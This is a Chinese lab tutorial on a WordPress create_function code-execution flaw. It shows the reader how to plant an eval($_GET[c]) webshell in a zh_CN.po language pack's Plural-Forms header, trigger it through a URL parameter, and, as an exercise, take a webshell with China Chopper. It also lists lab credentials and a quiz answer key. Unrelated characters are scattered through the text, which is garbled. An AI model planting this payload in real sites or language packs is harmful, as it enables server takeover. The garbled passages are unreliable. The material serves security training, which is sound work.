實(shí)驗(yàn)環(huán)境
操作機(jī):Windows XP
目標(biāo)機(jī):Windows 2003 Server SP2
實(shí)驗(yàn)工具
PoEdit
:PoEdit是一款文件編輯器植袍,常用來漢化各種程序碉熄。它可以更加方便的辦法編輯目錄,而不用通過啟動(dòng)VI文本編輯器财骨,手動(dòng)編輯镐作。因此使用起來十分的方便與快捷,本次實(shí)驗(yàn)主要用到它的將.mo
格式文件轉(zhuǎn)化為.po
格式文件的文件功能和將.po
格式文件轉(zhuǎn)化為.mo
格式文件的文件功能隆箩。Notepad++
: Notepad++ 是在微軟窗口環(huán)境之下的一個(gè)免費(fèi)的代碼編輯器该贾。功能十分強(qiáng)大,本次實(shí)驗(yàn)主要用到它的語法高亮度顯示和文本內(nèi)容搜索功能捌臊。
實(shí)驗(yàn)?zāi)康?/h1>
- 掌握漏洞形成原因
- 掌握漏洞的驗(yàn)證方法
實(shí)驗(yàn)內(nèi)容
漏洞簡(jiǎn)介
本次漏洞出現(xiàn)在wp-includes/pomo/translations.php
杨蛋,在一次用到create_function
的地方,create_function
這個(gè)函數(shù)它的內(nèi)部使用了 eval 來執(zhí)行參數(shù)。
我們可以通過構(gòu)造插件逞力、語言包等曙寡,將一句話木馬寫入語言包中,當(dāng)網(wǎng)站管理員安裝我們的語言包的時(shí)候寇荧,create_function函數(shù)會(huì)把我們插入語言包中的一句話木馬當(dāng)做參數(shù)執(zhí)行举庶,這樣一來,就成功的插入了一句話木馬砚亭,從而達(dá)到任意代碼執(zhí)行的效果灯变。
漏洞影響版本
Wordpress 4.6.1以下版本
漏洞危害
如果管理員不當(dāng)操作,可導(dǎo)致網(wǎng)站直接被拿下后臺(tái)權(quán)限捅膘,攻擊者獲取Webshell添祸,甚至通過提權(quán)控制服務(wù)器,危害極大寻仗。
WordPress
WordPress是一種使用PHP語言開發(fā)的博客平臺(tái)刃泌,是一款個(gè)人博客系統(tǒng),用戶可以在支持PHP和MySQL數(shù)據(jù)庫(kù)的服務(wù)器上架設(shè)屬于自己的網(wǎng)站署尤。
也可以把 WordPress當(dāng)作一個(gè)內(nèi)容管理系統(tǒng)(CMS)來使用耙替。它是一款使用極其廣泛的網(wǎng)站系統(tǒng)。
phpinfo()函數(shù)
本函數(shù)返回 PHP 的所有信息曹体。
包括了 PHP 的編譯選項(xiàng)及擴(kuò)充配置俗扇、PHP 版本、服務(wù)器信息及環(huán)境變量箕别、PHP 環(huán)境變量铜幽、操作系統(tǒng)版本信息、路徑及環(huán)境變量配置串稀、HTTP 標(biāo)頭除抛、及版權(quán)宣告。
漏洞原理演示代碼
$newfunc = create_function('$a,$b', 'return "$a+$b = ".($a+$b);} echo "OUT \n ";/*'); echo "New anonymous function: $newfunc \n";
可以看到母截,在上述示例代碼中到忽,函數(shù)調(diào)用create_function
時(shí),首先通過構(gòu)造代碼語句清寇,使用}
將原函數(shù)閉合喘漏,然后再添加我們想要執(zhí)行的內(nèi)容后再使用/*
將后面不必要的部分注釋掉。
之所以如此颗管,是因?yàn)?code>create_function內(nèi)部使用了eval來執(zhí)行代碼陷遮,所以由于這個(gè)特性,如果我們可以控制create_function的$code參數(shù)垦江,那就有了任意代碼執(zhí)行的可能帽馋。
其中echo OUT
是我們添加構(gòu)造的測(cè)試代碼搅方,如果成功,則輸出OUT绽族,否則報(bào)錯(cuò)姨涡。
構(gòu)造完畢后,我們?cè)诒镜販y(cè)試一下吧慢,測(cè)試代碼的內(nèi)容就是網(wǎng)站ceshi/1.php
涛漂,內(nèi)容就為我們上面修改過的代碼。
現(xiàn)在我們?cè)L問目標(biāo)網(wǎng)址:172.16.12.2/ceshi/1.php
我們可以看到检诗,輸出了OUT匈仗,代表著成功執(zhí)行了我們自己構(gòu)造的語句。
實(shí)驗(yàn)步驟
步驟1:漏洞代碼分析
本步驟將分析WordPress源碼以及我們要構(gòu)造的語言包插件源碼
我們首先分析WordPress漏洞核心處的代碼:
首先登錄目標(biāo)機(jī)逢慌,打開遠(yuǎn)程桌面連接悠轩,輸入地址:172.16.12.2,輸入賬號(hào)administrator攻泼,密碼ichunqiu進(jìn)行遠(yuǎn)程登錄訪問火架。
打開c:/Apache2.2/htdocs/wordpress1/wp-includes/pomo/目錄下的translations.php文件,右鍵點(diǎn)擊使用Notepad++打開忙菠,我們將對(duì)這個(gè)文件進(jìn)行源碼分析何鸡,定位到源碼的191-203行:
根據(jù)注釋可以看到該函數(shù)的作用是根據(jù)字體文件中的plural forms這個(gè)header來創(chuàng)建函數(shù)并返回。
其中$expression
用于組成$func_body
牛欢,而$func_body
作為$code
參數(shù)傳入了create_function骡男。
因此最關(guān)鍵的地方就是控制$expresstion
的值,因?yàn)?code>$expresstion可以接受任何字符串和php代碼,我們根據(jù)自己的需求傍睹,構(gòu)造代碼洞翩,利用上述原理,達(dá)到我們想要的目的焰望,這便是漏洞所在。
接下來分析語言包插件的內(nèi)容已亥,并將惡意語句插入到語言包中熊赖。
我們?cè)俅未蜷_c:/Apache2.2/htdocs/wordpress1/wordpress1/wp-content/languages/zh_CN.po,選中該文件虑椎,右鍵選擇Notepad++ 打開該文件,使用Ctrl+f快捷鍵搜索關(guān)鍵字MIME震鹉,在MIME附近就是我們需要的核心的漏洞源碼,操作如圖:
找到MIME關(guān)鍵字附近的關(guān)鍵源碼捆姜,如圖:
這是我們將要構(gòu)造的語言包传趾,結(jié)合前面的WordPress漏洞源碼分析:
其中:nplurals的值即為上文中
$nplurals
的值。而
plural
的值正是我們需要的$expression
的值泥技,plural其實(shí)就是payload浆兰,承載著我們構(gòu)造的語句。
我們payload中的)
首先閉合了前面的(
,然后簸呈;結(jié)束前面的語句榕订,接著是一句話木馬,再用/*
注釋符蜕便,注釋掉后面的語句劫恒。
通過這樣,我們就將payload完整的傳入了create_function
轿腺,在其創(chuàng)建函數(shù)時(shí)我們payload就會(huì)被執(zhí)行两嘴,由于訪問每個(gè)文件時(shí)都要用這個(gè)對(duì)字體文件解析的結(jié)果對(duì)文件進(jìn)行翻譯,所以我們?cè)L問任何文件都可以觸發(fā)這個(gè)payload族壳。
因此現(xiàn)在對(duì)zh_CN.po
文件源碼做出改動(dòng)憔辫,將第九行代碼"Plural-Forms: nplurals=1; plural=0;\n"
換成"Plural-Forms: nplurals=1; plural=n);}eval($_GET[c]);/*\n"
,使用GET方式傳遞參數(shù)决侈,其中plural
的值就是我們需要控制的payload螺垢。
然后,使用PoEdit打開zh_CN.po文件赖歌,按Ctrl+S
進(jìn)行保存枉圃,就可以進(jìn)行漏洞驗(yàn)證了。
接下將進(jìn)行任意代碼執(zhí)行驗(yàn)證操作步驟
步驟2:代碼執(zhí)行漏洞驗(yàn)證
本步將對(duì)代碼進(jìn)行漏洞驗(yàn)證
上一步我們?cè)诒镜胤治銎湓砗舐耄卿浤繕?biāo)機(jī)器孽亲,對(duì)目標(biāo)網(wǎng)站做出了修改,現(xiàn)在進(jìn)行漏洞驗(yàn)證:
漏洞驗(yàn)證:
訪問目標(biāo)網(wǎng)站地址:http://172.16.12.2/wordpress1/
我們對(duì)目標(biāo)URL進(jìn)行構(gòu)造展父,使其觸發(fā)任意代碼執(zhí)行漏洞返劲。我們通過代碼審計(jì),發(fā)現(xiàn)payload會(huì)通過GET的方式接受c的值栖茉,這時(shí)我們可以在瀏覽器后面構(gòu)造c=phpinfo();
篮绿,其中phpinfo()
是網(wǎng)站的探針界面,如果執(zhí)行成功吕漂,則可以正常顯示phpinfo的內(nèi)容亲配。
現(xiàn)在構(gòu)造語句進(jìn)行任意代碼執(zhí)行漏洞驗(yàn)證,訪問構(gòu)造好的地址:http://172.16.12.2/wordpress1/index.php?c=phpinfo();
可以看到任意代碼執(zhí)行漏洞就可以被觸發(fā)惶凝,phpinfo()被執(zhí)行吼虎,(我們甚至還可以通過中國(guó)菜刀連接一句話,拿到Webshell)
到這里苍鲜,我們成功的驗(yàn)證了Wordpress任意代碼執(zhí)行漏洞思灰。
步驟3:漏洞修復(fù)
語言包本身以及WordPress源碼本身并沒有錯(cuò),只是在一些條件下會(huì)被攻擊者利用混滔,從而成為任意代碼執(zhí)行漏洞洒疚,根據(jù)攻擊原理歹颓,應(yīng)該注意:
1:WordPress的translations.php源碼碼的191-203行:我們對(duì)$expresstion
的值進(jìn)行過濾或替換,將敏感的字符)
,}
,;
進(jìn)行替換為空拳亿。
2:管理員應(yīng)該注意晴股,在官方發(fā)布補(bǔ)丁前建議增強(qiáng)安全意識(shí),不要使用來路不明的字體文件肺魁、插件电湘、主題等等。
思考
1.請(qǐng)修改語言包鹅经,構(gòu)造語句函數(shù)寂呛,最終通過菜刀連接拿到Webshell。
2.請(qǐng)嘗試對(duì)其他字體文件瘾晃、插件贷痪、主題進(jìn)行修改,并進(jìn)行測(cè)試蹦误,看能否執(zhí)行出本次試驗(yàn)的效果劫拢。
參考資料
http://www.tuicool.com/articles/2En2YfJ
課后習(xí)題
第1題:/ceshi/1.php 輸出的內(nèi)容為?
第2題:本次漏洞最為核心的函數(shù)是
A强胰、create_function
B舱沧、create_function
C、index
D偶洋、phpinfo
第3題:有一個(gè)文件可以顯示網(wǎng)頁的配置信息熟吏、運(yùn)行狀態(tài)等等,這個(gè)文件是________?
第4題:本次PHP版本為________
參考答案:
1玄窝、OUT New anonymous function:lambda_1
2牵寺、A
3、
4恩脂、5.4.32